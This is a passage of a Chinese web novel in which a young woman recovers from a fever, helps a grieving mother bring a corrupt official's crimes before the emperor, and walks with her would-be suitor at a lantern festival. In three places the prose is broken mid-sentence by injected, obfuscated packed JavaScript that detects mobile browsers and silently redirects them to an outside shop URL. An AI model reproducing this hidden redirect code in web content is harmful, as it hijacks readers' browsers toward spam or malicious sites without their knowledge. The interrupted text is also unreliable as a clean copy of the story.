老妪讲述期间,周围渐渐聚集起了一群人,听到此处均唏嘘不已。但众人也皆是普通百姓,对老妪的遭遇虽然同情,却也没能力给出什么实质帮助,为老妪嘴上声讨了片刻,便也渐渐散去了。 知慈站在老妪面前,心中触动。她看着老妪,想到了自己的母亲。 母亲活着的时候,便像老妪一样,总是护着自己,生怕自己被别人欺负了去。 可她死了,再没人如她一样在乎自己,维护自己了。 她心中难过,回家路上都失魂落魄。 当晚回到家中,知慈就病倒了。 22. 生病 当晚回到家中,知慈就病倒了。 她发了高烧,浑身酸痛,却仍坐在院中吹凉风,想着今天看见的老妪。 赵晏然从他的厢房中探出头,“怎么还不休息。” 知慈没有回话。 于是赵晏然身着寝衣,走到知慈身前。 “你怎么了?” 知慈摇头,“我没事。” 但知慈的模样哪里没事,她脸颊通红,眼神迷蒙,正是发烧的症状。 赵晏然伸手朝知慈额头试了试,“你发烧了,额头很烫,赶紧回屋吧。” 知慈不耐烦抬头,“我说了没事!”语气很冲。 赵晏然愣了愣,发烧的知慈相比平日十分反常,言语之间像个任性的小孩。 于是他耐下心道,“你回屋躺着,否则病情会加重。”他去拉她的手,想带她进屋,却被知慈一把甩开。 知慈嘟嘴不高兴道,“屋里不透气,我想再外面吹会风。” 见知慈如此固执,少年也不再同知慈多话。他不顾知慈惊呼,打横抱起知慈。 “你干嘛?我不进屋!” 知慈使劲挣扎,但女孩儿的力气哪里敌得过少年,赵晏然易举钳制住知慈,将她抱回她的厢房,给她脱下鞋,又盖上了被子。 一盖上被子,知慈就停止了挣扎,因为被窝好温暖。 “我去煎药,你懂事些,乖乖躺着。” 赵晏然去厨房煎药,两刻钟后,他端着药回到了知慈屋内。 知慈没有再闹脾气,因为和衣而眠不舒服,她还换了寝衣,才躺回被窝里。 “现在知道照顾自己了?”赵晏然笑话她。 知慈脸颊红红,有些迷糊,没有说话。 赵晏然端着药过来,舀起一勺,耐心将药吹凉,喂知慈服下。 知慈喝了一口,脸皱成一团,“很苦,不想喝。” 赵晏然很温柔道,“不苦,不信你再试试。来,再来一勺,很快就好。” 赵晏然语气温柔,让知慈的委屈莫名消去,她听话地又喝下一口,赵晏然轻笑道,“真棒,我们知慈真是坚强的好姑娘。” 这话听着像哄小孩,但对于此刻的知慈却十分奏效,接下来知慈果然乖巧喝下了所有的药。 赵晏然道,“睡吧,发一发汗,烧就退了。” 知慈依言闭眼,半晌,眼角却流下泪来。 赵晏然见知慈哭,不禁有些无措,“怎么了?” 知慈抽泣道,“今天遇到一个失独的老妪,看到她,我就想起自己的娘亲。” 知慈哭道,”小时候每次生病,娘亲都会给我唱歌儿,可她如今却再也回不来了。” 见知慈哭,赵晏然有些心疼,“那你更要尽快好起来,否则你娘亲在地下也会难过的。” 知慈抽噎,“你说得对、我要尽快好起来。” 可好转又有什么用呢?知慈心想,即使自己好转健康,这辈子娘亲也再不能哄自己入睡了。 就在她心意最低落难受时,耳边却传来了轻而低的歌声,是赵晏然哼唱起了一首童谣。他的声音悠扬而温柔,带着少年特有的鼻音,好听极了。 赵晏然哼唱的,是他家乡哄小孩的一首歌谣,多为妇人哄孩子时用到。此刻被少年哼出,竟有种奇异的和谐。 赵晏然自幼尚武、崇拜力量,对唱曲、跳舞这类取悦他人的技艺嗤之以鼻,认为侠客给人唱曲儿赏听是自甘下贱,所以没人知道,他的歌声其实很好听。 方才看到知慈委屈的模样,赵晏然只觉心口像被人狠狠揉了一下,又钝又痛,他只把知慈哄好,让她不那么难过。 知慈听着听着,安静下来,赵晏然的歌声让她回到了童年时发烧的那个雪夜,温暖的房间内只有娘亲照看自己,没有凉薄的父亲,也没有分走娘亲注意的姐姐,娘亲眼中只有自己。 她满足地向下挪了挪身子,又躺回了被窝,重新闭上了眼。 一时间,屋内安静下来,也不知过了多久,知慈呼吸渐渐变得平稳,看起来睡着了。 赵晏然凝视着知慈的睡颜,心中被一种难以描述的情愫填满。 他脑海中突然响起周师兄白日的问话,“你喜欢她?” 思及此处,赵晏然情难自禁地伸出瘦长的手指,轻轻触碰上知慈红而滚烫的脸颊。 知慈似有所感,她眼睫轻颤,迷蒙地睁开眼。 赵晏然立刻收回手,却见知慈似乎并未清醒,只是咕哝了几句梦话,便又继续阖眼睡去。 赵晏然愣了愣,哑然失笑。 那之后他依旧坐在知慈床榻边,细致照看着知慈,却再也没有逾距的举动。 - 赵晏然照顾了知慈一天一夜,知慈终于退了烧。 但随即,二人之间相处时却多了些说不清道不明的气氛。 有一次,知慈同赵晏然说话,半晌得不到回应,她抬起头,便见赵晏然一直凝视着她,眼中蕴着笑意。见知慈抬头看他,赵晏然立刻扭开脸,脸色微微发红,半晌才给出回应。 赵晏然的扭捏,让知慈也有些不好意思。她隐隐觉得,二人关系更进一步,似乎水到渠成。 知慈又卧床两日,直到第三日时,才彻底痊愈。 身体康复后,知慈惦记着心事,于是前往衙门,毫无意外看见了老妪。 老妪仍在衙门附近徘徊,差役不愿接待她,但也一直没有驱赶她。 知慈未作逗留,离开了衙门口。改道去往戒备森严的锦衣卫北镇抚司。 她打算去找谢琅。 在养济院期间,知慈同谢琅闲聊时得知,他接下来为协同办理白巾教审讯一案,会入驻锦衣卫北镇抚司一段时间,并告诉知慈需要帮助可以去找他。 知慈心中明白谢琅同自己身份云泥之别,如非必要本不该去打扰。 但她看见那老妪,便想起自己死去的娘亲。她见不得可怜的母亲在外面为给儿子伸冤受尽委屈。如果她的孩子地下有知,那他该多自责痛心。 所以病情康复后,知慈便抱着试试的心态,想将老妪引荐给谢琅。如果谢琅愿意帮忙最好,若是不成她也算尽了份力。 她来到北镇抚司,门口守卫问她,“你找哪位?” 知慈道,“民女有事想寻谢琅殿下。” “你叫什么?” “我姓沈,名唤沈知慈。” 门卫点头,让知慈稍等,他进去通传,片刻之后,门卫与一小太监出来,示意知慈可以进去了。 知慈由那小太监领着走进北镇抚司,七拐八拐,最终领至大狱之前。 数名锦衣卫面无表情地站在大狱四周站岗,戒备森严。 而谢琅则正同一位身着锦缎华服的妙龄女子站在一处,那女子在同他说些什么,平日温文尔雅的谢琅此刻神色竟有些不耐烦。 那女子道,“殿下,这盒点心还请您收下吧。” 谢琅抗拒地退后保持距离,道,“吴姑娘,多谢好意。但你无事却频繁往来此地,于你的名声实在不好。” 吴姑娘还欲再说,小太监领着知慈上前道,“殿下,知慈姑娘我带来了。” 谢琅侧头,朝知慈看了一眼,对吴姑娘道,“我有客人来了,抱歉,先不聊了。” 吴姑娘回头,也看到了知慈,见知慈与她年纪相仿,吴姑娘瞬间眼含敌意。她剜了知慈一眼,才提着食盒走进了大狱。 一旁,谢琅对小太监吩咐道,“下次你别让她靠近我。” 小太监为难道,“殿下,她爹是大理寺卿,锦衣卫都不敢拦,小的怎么拦啊。” 原来,白巾教落网,反贼们都被关押在锦衣卫北镇抚司的大狱。而吴姑娘的父亲大理寺卿,这段时日也一直在北镇抚司提审犯人。此刻吴姑娘过来,便是打着探望父亲的旗号,找机会亲近谢琅。 谢琅无奈,君子的涵养却让他没有再说出其他难听话。 他看向知慈,温和道,“好久不见,知慈。我听闻赵兄弟身体恢复,已经出院,他最近身体如何?” 知慈道,“他已经完全恢复了。” 谢琅点头,“那便好。他真该感谢你。” 知慈道,“殿下,我今日是想来求你一件事。” 谢琅闻言,依旧温和,“说来听听?” 知慈道,“我认识一个老妪,家住战乱频繁的边境,儿子因当地县衙腐败,强行被衙门的人拉去充了壮丁,最后不明不白而死,老妪连一分抚恤金都没有分到,钱全部进了县衙的腰包。” 知慈继续道,“老妪一路求官却没人为她讨公道,最终求到了京城。我见她实在可怜,便想着来求问殿下,能否同有关衙门打个招呼,为她主持公道。” 谢琅沉吟片刻,“可以,你把她带来吧,不过此事真相如何,我会秉公调查。” - 得了谢琅应允,知慈立刻去寻老妪。 老妪还在原处站着,双目无神。知慈上前,对那老妪道,“婆婆,您还好吗。” 老妪抬头,知慈这才发现,其实单看五官她年纪也就三十多岁,但也许是经历了生活过多的磋磨,让她皮肤暗淡皱纹横生,才显得十分苍老。 老妪望着知慈,浑浊的双眼有些可怜。 知慈道,“我没有恶意,婆婆。我原是北风城人,三年前北风城被白巾教攻占沦陷,我的娘亲在战争中被误杀。那日我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733582|144584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁听了您家的事,我就想起了自己的凄惨过往。” 那老妪原本麻木的神色,听知慈这样说,再度勾起了她的伤心事,神色变得哀戚。 知慈道,“所以我想帮帮您。我认得一位贵人,他听说了你的事,十分同情,他或许能为你的事帮上一二。” “当真?!”老妪抬头,眼中满是热切。 知慈点头,便见老妪激动地留下泪,要给她跪下,“姑娘,您是我的恩人!” 知慈连忙拦下了她,“快别这么说,此事是否能成还未有定论,您先随我去见那贵人吧。” 随即,知慈引着老妪回到了北镇抚司,将她引荐给了谢琅。 谢琅听完老妪的讲述,决定帮助她,老妪又连连冲二人道谢,知慈推拒半天,见再没自己能做的了,便告辞离开。 - 此间事毕,知慈回到家中,却见赵晏然不知所踪。 知慈未作他想,径自回了自己屋中,找了个话本子开始放松。 “叩叩,叩叩。” 不知从哪里传来了声响,知慈连忙放下书,可“叩叩”的声音依旧持续传来。 知慈竖耳细听,发现声音是从右侧墙壁传来的,应是有人在墙后钉钉子发出的声响。 因为京城土地金贵,朝廷颁布法令,禁止建造院落独立的独栋房屋。因此近几年新建的城内院落大多为联排房屋,即几家住户的房子院落独立,但墙壁相连。 赵晏然买下的房子便是一套联排院落中的一户,知慈住在房子的右厢房,因此厢房的右墙壁后,便是右边邻居的房间。 此刻墙壁不断发出的叩叩声如此清晰,知慈微微皱眉看着墙壁,不知隔壁邻居搞什么鬼。 没过多久,凿墙声停了下来。墙壁背后传来一个略显尖细的男声,“我钉好了,把卷轴递给我。” 声音隔着墙壁,像笼着一层厚雾,模糊不清。那男子话音落下,立刻便有人接话,但因为隔着一层墙,知慈只能听出说话的是个女人,年纪音色则一概听不出来。 “给你。真是服啦,这房子又没人住,为什么要大晚上喊我们过来打扫。” 男子道,“别抱怨,上面的安排,你我哪有资格置疑。” 女子道,“你真死板,我听说这房子是陛下赠与那位流落民间公主的财产。如今那公主不知所踪,又怎会过来住呢?简单打扫便是了。” 尖声男子又说了句什么,但因为他远离了墙壁,知慈听不清楚。 那之后知慈只能偶尔听到断断续续的交谈声,以及拖动桌椅的声音。 知慈心中腹诽,这房子价值不菲,墙体质量竟然这么差。随即她转回注意力,顶着噪音继续看话本了。 - 午夜将近时,赵晏然身着一身夜行衣回到了家。 知慈正要洗漱,见他回来,道,“你去哪了?” 赵晏然黑布蒙面,只露出俊朗的眉眼,“我去踩点。” “踩点?” 赵晏然道,“我得了消息,追月节将至,届时各地官员都会进京述职。而我的仇人,也在其中。” “所以你踩点是为了要杀人?” “没错。” 上次赵晏然敲诈路繁叶,一是换来了这栋房子,二是换来了孟强的情报。 追月节期间,孟强也会来京城。皇帝会在郊外避暑山庄设宴接待群臣。 路繁叶告诉他情报后,赵晏然便告诉他自己要去刺杀孟强,而且要让群臣百官亲眼看着孟强去死。 路繁叶吓得面如土色,说要报官。 当时赵晏然狞笑一声,“我动手时会准备两把匕首,一是带你路府标志的精钢刀,二是普通匕首。” 赵晏然道,“你若老实,我便用看不出来历的普通匕首杀孟强;你若声张,那抓捕我的人胸口插的就是路府的精钢刀,届时朝廷若怀疑你贼喊捉贼也没办法。至于我给你下的毒,你便也自寻解药吧。” 闻言路繁叶果然再不敢轻举妄动,生怕激怒这位活祖宗。 言归当下,赵晏然同知慈说完此事后,知慈的神情有些担忧。 “我知道你武功高,但……你还是小心些。” 见知慈关心他,少年心中不自觉感到温暖。 他酝酿半晌,终于说出了一直压在舌根的话,语气不自觉放得轻柔。 “对了,你追月节那天有空吗?” 知慈动作一顿,飞快瞥了赵晏然一眼,唇边掠过一丝笑意,“嗯……那天我白天要在酒楼帮工,不过晚上收工后倒没什么事。” “那倒时不如和我去外面逛逛?” 知慈心中仿佛微风吹过,涟漪阵阵,“好啊。” 23. 刺杀 日子一晃而过,很快便来到了追月节。 凌晨时分,赵晏然一身黑衣,潜入郊外的避暑山庄。 因为今日皇帝驾临,所以避暑山庄内的守备极为森严,五步一岗、十步一哨。但赵晏然乃是顶尖高手,加上他早在几天之前便早已踩好了点,对哪处守备相对薄弱已是了如指掌。 这日一早,他便击晕了房梁之上放哨的侍卫,随即埋伏于正殿上方的视线死角内。 接下来几个时辰,少年与房梁融为一体,呼吸几不可闻,耐心等待着孟强的出现。 不知过了多久,殿外渐渐传来声响,皇帝、太监、与会群臣陆陆续续到场,殿内众臣济济一堂,俨然一个小朝廷。 赵晏然手握飞刀,朝下方比了一下,他准头不错,即使他的手偶尔会发抖,也能轻而易举杀死在场任意一位高官,包括下方被几个高手暗中保护的皇帝。 赵晏然虚虚用飞刀点着下方的人,飞刀移到第二排,孟强正在同其他人一样,温顺地低着头。这恭敬的模样与赵晏然印象中那位飞扬跋扈的知县简直天差地别。 赵晏然持飞刀绕着瘦长的手指转了一圈,脑中冒出了一个问题:是现在将他一刀毙命,还是稍后跟着他到无人处,慢慢折磨一番后再杀? 赵晏然热衷挑战,并不在意杀死孟强惊动皇帝的后果,甚至有些跃跃欲试。 下方,皇帝在向群臣发表例行讲话。皇帝讲话结束,群臣便依着位分逐一述职,一切都在按部就班进行。 底下的臣子赵晏然大部分都不认识。除了孟强,他只识得谢琅、池无暇还有其他几个参与过围剿白巾教的官员——当然,还有队伍中段的路繁叶。 赵晏然饶有兴趣看着路繁叶脸色发白,时刻恐惧着变故发生的模样。 下方,路繁叶不知道赵晏然具体方位,但他真的很怕赵晏然惹出乱子波及自己,所以他一边忧思重重观察四周,一边暗自祈祷:如果赵晏然非得当众行刺,希望他千万别用路府的刀;如果行刺成功,千万别被宫里人抓住,被抓住了也千万别供出自己。 而另一边,殿中轮到谢琅述职,只见谢琅出列向皇帝一揖,随即朗声道,“儿臣同大理寺卿有重要事项想禀报陛下,事关北风省布政使孟强。” 见谢琅突然提及这位与他交集不多的北风省最高长官,百官莫不被吸引注意力。 嘉平帝一只手杵着下巴,拧眉看着谢琅,“说。” 于是谢琅朝他身旁的大理寺卿吴大人点了点头,后者道,“陛下,关于此事,臣想先请出一位人证。” 在得到皇帝首肯后,大理寺卿便命人将一直等候在殿外的人证带进来。 群臣纷纷交头接耳,回首张望来者何人。 只见一位老妪身形佝偻,皮相老态,跟随着官吏局促地走进殿中。 老妪越走向前,赵晏然看得便越清晰。 待彻底看清地上妇人容貌的一刻,潜伏于房梁上的赵晏然如遭雷击。 ——只见那妇人不是别人,正是当年住在他家隔壁的花婶子。小豪的母亲,花婶子。 赵晏然万万没想到会在这样的场景下,与当年对他爹娘袖手旁观的同乡人重逢,更未想到当年被许多同乡小伙追求的年轻妇人,只过了十年时间,就变得如此苍老。 这十年间,她到底经历了什么? 赵晏然震惊之余,本欲射出的飞刀被他死死攒在手中,一直没有发出。 只见花婶伏到地上,向嘉平帝三叩九拜。 谢琅道,“陛下,这位妇人原籍北方,千里迢迢赶赴京城,只为给她死去的儿子讨回公道。” 嘉平帝闻言,看向老妪,“请讲吧。” 花婶便又开始向嘉平帝磕头,“圣人明鉴,草民本是北方一农户……”花婶颤颤巍巍,将之前同知慈等人说过的悲惨经历又在嘉平帝面前复述了一遍。 房梁之上,赵晏然听着父母死后花婶的遭遇,一时不知作何感想。 小豪是他的童年玩伴,突闻小豪死讯,赵晏然唏嘘之余又有几分心情复杂:因果报应,当年花婶在自己父母反抗孟强时袖手旁观,多年以后,她的独子也间接被孟强害死。 殿中,花婶的叙述还在继续,“我的小豪还没成年,便被城里的督战兵强行绑到了前线折磨死了!周围所有乡亲都清楚,默许这等丧尽天良之事的幕后元凶,就是北风省官衔最高的大老爷、大贪官——孟强!”花婶回头,目光如剑直直射向孟强。 孟强大怒,“你这疯妇!本官根本不认识你!” “给我闭嘴!让你说话了?”皇帝坐在龙椅之上怒喝。 孟强不情不愿闭上了嘴。 花婶道,“北风省百姓无人不知孟强就是边境的土皇帝,他强行让手下的人去周围各个村庄拉壮丁,这些壮丁有的死在鞑靼人刀下,更多的连战场都没上就被督战兵折磨死了。而他这么做的目的,就是为了贪污朝廷拨下来的抚恤金!” 孟强脸上血色尽失,他指着老妇喝道,”谁派你来这么造谣的?你背后的人目的是什么?” 这时,谢琅朗声开口道,“孟大人,你若真的清白,又何须畏惧一介民妇之言?” 谢琅继续道,“其实你也很清楚,自己手上并不干净。这些年你靠着强制拉壮丁并贪污其抚恤金,积蓄起第一桶金,靠着这笔钱上下打点,从小小知县一路高升成北风省最大的官员。又如法炮制,让手底的下属依照你过去伎俩继续剥削百姓孝敬你,我说的可对?” “你放屁!你是皇子又如何,皇子便可以血口喷人了?”孟强大骂。 谢琅见孟强仍在嘴硬,平静道,“证据确凿,谈何造谣。” 只见他身边,大理寺卿吴大人拿出了提前准备好的奏折和纸面证据,出列呈给皇上。 “陛下,这些都是证据,请您过目。” 原来那日谢琅接受知慈引荐,结识花婆婆后,便觉此事蹊跷。后来他同大理寺卿谈论此事,二人均认为白巾教如此轻易攻陷北风城,与孟强等在边境大肆敛财的官员脱不开关系。 大理寺派出人手调查,几日内便确认此事为真,并查出了孟强的各项腐败行为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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出乎他的意料,皇帝并不似他想象中昏聩无能、与官员沆瀣一气。反倒有几分明辨忠佞的贤君之相。 赵晏然的本意是让孟强死,而且死的越凄惨、越人尽皆知才好。 但孟强既被皇帝下了大狱,想活便不可能了。相比自己出手,让孟强在天下人的唾骂、侮辱中游街示众斩首,自然远比一刀将他毙命来得痛快得多。 于是赵晏然收回了手中的飞刀,趁着守备没有注意,纵身离开大堂。 庄内戒备森严,但守卫于赵晏然来说形同虚设,他轻巧地避开了每一处哨岗。 赵晏然心情难得很好,觉得过来一趟却没动手,手有些痒。正巧谢琅为押送孟强一道离开正殿,赵晏然一贯看不惯他装模作样的君子姿态,于是带着挑衅的意味,扬手射出一枚飞刀。 谢琅耳边劲风拂过,尚未反应过来,便见一柄飞刀擦着他的脖子稳稳钉在了前方廊柱上。 平素稳重端方的公子背影一顿,有些失态地唤道,“来人,有刺客。” 赵晏然轻蔑翘起嘴角,随即趁周围侍卫赶来之前,展开轻功纵身几个起落,便彻底绕开了山庄的哨位,离开了山庄。 24. 追月节 当天晚上,赵晏然如约来酒楼接收工的知慈。 二人并排走在灯火通明的大街上,街上行人来来往往,聚集在摆摊商贩和杂耍班周围。 上午孟强落网一事,让赵晏然心中很痛快。他陪着知慈一家一家地逛商铺,甚至觉得周围拥挤的人流都十分可爱。 “你笑什么?”知慈问他。 赵晏然道,“今日仇人落网,真是大快人心。” 知慈道,“那确实是件值得庆贺的喜事。你亲自动的手?” 赵晏然道,“不,他被官府判了罪,届时他的罪行会被昭告天下,比我亲自动手要痛苦得多。” 街边迎面而来数对男女,皆挽手相携,姿态亲密。 赵晏然和知慈之间沉默了片刻。 知慈开口,“今日我们酒楼,格外的忙碌。” 赵晏然道,“很忙?” 知慈道,“很多客人来店里吃饭,不过晚上同我关系好的小姑娘跟我换了班,要不我还不得闲。” 说实在的,知慈都不知自己在说什么。明明她期待的是另一件事,嘴上却愈发正经,越扯越远。 她思绪发散,看见街边一对情侣从首饰摊出来,情意绵绵相互凝视。男子抬手,女子便微笑低下头,由男伴为她系上了项链,并在她额见落下一吻。 赵晏然的声音自耳边传来,“你也喜欢项链吗?” “啊?喜、喜欢。” 于是赵晏然便同知慈上前,为她挑选了一件精致的项链。 赵晏然手里拿着项链,又同知慈向前走了一段路。 这一次,两个人都不说话了,二人之间的氛围不同寻常了起来。 走着走着,赵晏然停下脚步。 街上人来人往,灯火通明。 知慈转头,便见赵晏然正望着她。于是她转身,与赵晏然面对面而立。 知慈看见少年举起手上那串项链。她忍不住心有期待,略带羞意地垂下眼低了头,露出了纤细的后颈。 她在给他一个接近的机会。 赵宴然抬手,想学着方才那对情侣一样,为知慈戴上项链。 可犹豫片刻,他却又放下了手。 知慈应当是喜欢他的。那自己呢?喜欢她吗? 赵晏然有些茫然。他突然发现,自己缺乏些勇气,又似乎还没有做好面对这一刻的准备。 见对方久久没有动作,知慈抬头,正好捕捉到他缩回手的那一瞬间。 知慈笑容便淡了。 谁也没说话,二人之间,一下子变得有些难堪。 周遭的喧嚣声中,赵宴然有些心慌。他补救地重新抬手,想替知慈戴上项链,但知慈却别开了脸。 他的手擦过了她柔软的嘴唇。 知慈神色如常,似是对刚才发生的一切一无所觉。她对他笑道。“走啊,愣着干嘛呢,前面还有好多好玩儿的。”却闭口不提项链的事。 说罢,知慈便率先转身前行。 赵晏然站在原地,心中懊恼。随即抬步去追知慈。 然而就在马上追上知慈时,侧方岔路口突然涌上来一大群人。 “舞狮队来啦,大家让路!” 数不清的人群涌入了主街。赵晏然被人群挤来挤去,只得展开轻功脱身跃上房顶,但下方人头攒动,他找不到知慈了。 无奈,赵晏然回到街上,沿着知慈可能走过的路线去寻找。但他走到闹市尽头,又绕了一圈,逆着拥挤的人流寻遍可能的地方,都没有找到知慈。 最终,赵晏然找到城内一处偏僻荒废的空地,空地四周均有人在烧纸,依照追月节习俗祭奠逝者。寂寥的氛围与远处欢腾的闹市格格不入。 赵晏然寻找知慈心切,扫了周围一眼,见知慈不在此处,便无心逗留。 “你是……晏然吗?” 赵晏然正欲离开,却被火堆旁一个老妪唤住。 赵晏然回头,认出了来人。 竟是白日时在满朝文武面前指控孟强的花婶。 “你真的是!”花婶来到赵晏然身边,神情激动。方才她在给儿子烧纸,哪里能想到会遇见故人。 赵晏然站定没动,也没搭腔。 她激动地上下打量赵晏然,仿佛透过他在看另一个人,她眼眶发红,蓄满泪水,道,“你如今生得可真俊!如果小豪还活着,那他的个头便该窜的和你一样高了吧。” 赵晏然面无表情,转身准备离开。 刚迈出一步,他便听得身后响起扑通一声。 “别走!” 他转身,见花婶跪在了他面前。 “我知道、我知道你恨我。”花婶嘴唇不受控制地颤抖,“那年我不敢维护你爹娘,眼睁睁看着孟强带走他们。所以后来,我的小豪才会被抓走却无人制止。我对不起你爹娘,我对不起他们。” 赵晏然垂眸看着她,没有说话。 “你杀了我吧,晏然,求求你,杀了我,给他们赎罪。”花婶说着,伸手想拽赵晏然腰间佩剑。 赵晏然挥开她的手,终于开口。 “我不杀你。” 花婶抬头,布满泪痕的脸上露出怔愣的神情。 “你们这些同村,懦弱又愚蠢,当初不值得我爹娘出头,如今也不值得我出手。你有如今的下场,完全咎由自取。” 赵晏然顿了顿,道,“我不杀你,因为我不恨你——我看不起你。” 花婶闻言,露出痛苦的神色,曾经美丽的眼睛黯淡无光,她喃喃道,“你也不愿给我解脱吗……” 这次赵晏然再未理会她,转身离去。 “晏然,是我害死了小豪吗?你告诉我,要是我当年没那么懦弱,是不是小豪就不会死?!我遭报应了——” 看着赵晏然远去,花婶痛苦地跪在原地,捂着嘴失声痛哭。 - 另一边,知慈同赵晏然走散后,被拥挤的人群带到远处,再也找不到赵晏然的身影。 知慈本想回头寻赵晏然,但想到方才赵晏然一瞬间的停顿,知慈不禁心生恼怒。 她现在不想看见赵晏然,宁可一个人独行。 于是知慈继续向前走,人来人往,知慈漫无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741694|144584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目的地随着人群前行。 在走过不知多少个路口后,知慈来到一个热闹的广场。广场中央搭起一座平台,周围聚满人群瞧热闹。 平台之上挂着各式花灯,灯笼上印着墨笔所书的谜题。台上人头攒动,许多书生女郎在花灯前驻足。 知慈明白过来,自己来到了猜灯谜的活动现场。 猜灯谜是追月节的传统活动,猜出灯谜后,年轻男子会将换得的花灯送给心仪的女郎,表达自己的爱慕之情。 而在活动中收到最多花灯的人,往往是最漂亮受欢迎的单身女郎。 广场周围,商铺林立。知慈挤不进活动场地内圈,便站在广场边缘一个招牌名为‘叔记烟火’的店铺旁看热闹。 她刚站定没多久,便听身后店铺门口传来一位中年男人的哭声。 知慈回头,竟真看到商铺的掌柜坐在门口痛哭,与周围欢欣热烈的氛围格格不入。 知慈忍不住多嘴问道,“掌柜,你怎么了?” 掌柜冲知慈摆了摆手,没有说话。 知慈见掌柜没有交流的心情,便犹豫着转回了头。 但她刚转回去,便听到那掌柜哽咽着道,“小姑娘,你知道从山顶跌落谷底是什么感受吗?” 于是知慈又看向了掌柜。 “你看看我身后,店里堆积的成箱烟花,都是为了今年追月节准备的。” 掌柜继续道,“可谁能想到,前日城外一烟花仓库走火炸死了人,官府便直接一刀切,下令城中禁止售卖烟花,直到排查出所有隐患为止。而我家货源明明和出事的烟花库没有任何关系,却也因此受到波及,全部砸在了手里。还有这间门店的房租,也都打了水漂。” 知慈听明白了,怪不得今日她没看见有人放烟花。 “唉,这……确实挺惨的。”她安慰掌柜,却不知说什么好。 恰好这时,猜灯迷活动也已接近尾声。场地中央的高台上,活动司仪大声道,“诸位,活动已经接近尾声,接下来是本次灯会的压轴环节——我们请来了孙巧工孙师父,为这次灯谜活动的前三名送出他手制的花灯。” 此言一出,群众们议论纷纷。孙巧工是闻名天下的工匠,名声如雷贯耳。但凡出自他手的工艺品,流入市场后都价值连城。 追月节灯谜会有个不成文的习俗:参与活动的人换得花灯后,必须当场将花灯送给心仪的异性,以讨个好彩头,如果留在自己手里,反而很不吉利。 此刻司仪宣布活动前三名能得到孙巧工做的花灯,相当于昭告众人,活动前三甲将获得一次给异性送出万两白银的机会。 有谁能拒绝万两白银?看热闹的百姓们被吊起好奇心,将灯会的氛围推向最高潮。 围观的群众伸长了脖子向台上看,随即便见一位工匠打扮、两鬓斑白的老人登上了高台,来到司仪身边。身后还跟随了四个小厮,每个小厮手中都提着一盏精美绝伦的花灯。 只见那花灯工艺繁复,灯芯在里,轮轴在外。轮轴上的贴纸描绘着艳丽的图案,围绕着灯芯缓缓转动。竟是几盏走马灯。 25. 牵手 在众人艳羡的目光中,孙巧工从小厮手中接过花灯,将奖品颁发给了本场活动的魁首。 夺魁的年轻人客气接过,之后走下台,将花灯送给了自己的妻子。 之后轮到了第二名领取奖品。获得第二名的书生接过花灯,下了奖台后,径自向人群中走。 人群纷纷给他让出一条路,便见他来到一对举止亲密的男女面前,将花灯递向女方。 看戏的群众目瞪口呆,便见那女子有些意外,又有些犹豫,瞥了眼她情郎的脸色。这一眼让情郎脸色铁青,随即伸手去夺那花灯,欲把它毁去,却被女子拦下,之后情郎与书生大打出手,场面乱作一团…… 最后二人被周围的群众拉开,不让再动手。台上颁奖还在继续,台下有人开始抱怨,把奖品设置的那么名贵,主办方故意制造矛盾。 当前三甲的奖品都颁发完毕后,司仪对孙巧工道,“孙师父,获奖的只有三个人,为什么你却带来了四盏花灯呢?” 孙巧工开口,声音有些含混,他又清了清嗓子,“这第四盏花灯,是我出于我个人意愿制作。” 他环顾下方人群,道,“前段时间,白巾教四处做乱,搞得城里人心惶惶,我亲妹妹就是白巾教徒害死的。当所有人最绝望时,有位青年才俊却主动为百姓站出来,率领官兵将匪贼彻底抓捕。” “这个人,想必在场诸位知道是谁。我孙巧工只是一介平民,唯有手艺还算拿得出手,因此,趁着追月节灯会的活动,我想用我的方式对他表示感谢。” 说到这里,孙巧工仰起头,目光看向广场对面的茶馆二楼。 “谢琅殿下,最后一个花灯,是我特意为感谢您而制作的。谢谢您守护了我们京城的子民,这盏花灯是我唯一拿得出手的心意,希望您能与您的意中人相守白头,幸福美满。” 台下众人顺着孙巧匠目光望去。只见茶馆的二楼露天包厢内,几位年轻朝臣凭栏而立,也在瞧着广场上的热闹。而其中那位身着锦服、外形俊朗颀长的贵公子,不是孙巧工口中的谢琅是谁? 一石激起千层浪,今晚的灯会实在太过精彩,人群瞬间炸了锅一般,兴奋地讨论起来。 茶馆二楼,处于众人焦点下的谢琅有些无奈。 谢琅身旁,池无暇抱怨道,“这老头儿,白巾教的案子明明我也有参与,怎么功劳都成你的了?” 谢琅没理他,因为楼下所有人都在翘首以盼他的回应。 谢琅凭栏俯瞰楼下,隔着密密麻麻的人群,他冲孙巧工朗声答复,声音有如山泉击玉,温润无比,“孙师父,您的心意在下领了,但花灯还请您收回,为人臣子,为民除害乃是本分。” 孙巧工道,“那不一样,殿下,您为我的家人报了仇。对我来说,您不仅仅是一位好官,你还是我的恩人。” 谢琅站在楼上,闻言更加无奈。他没跟孙巧工客气,他是真的不想要。 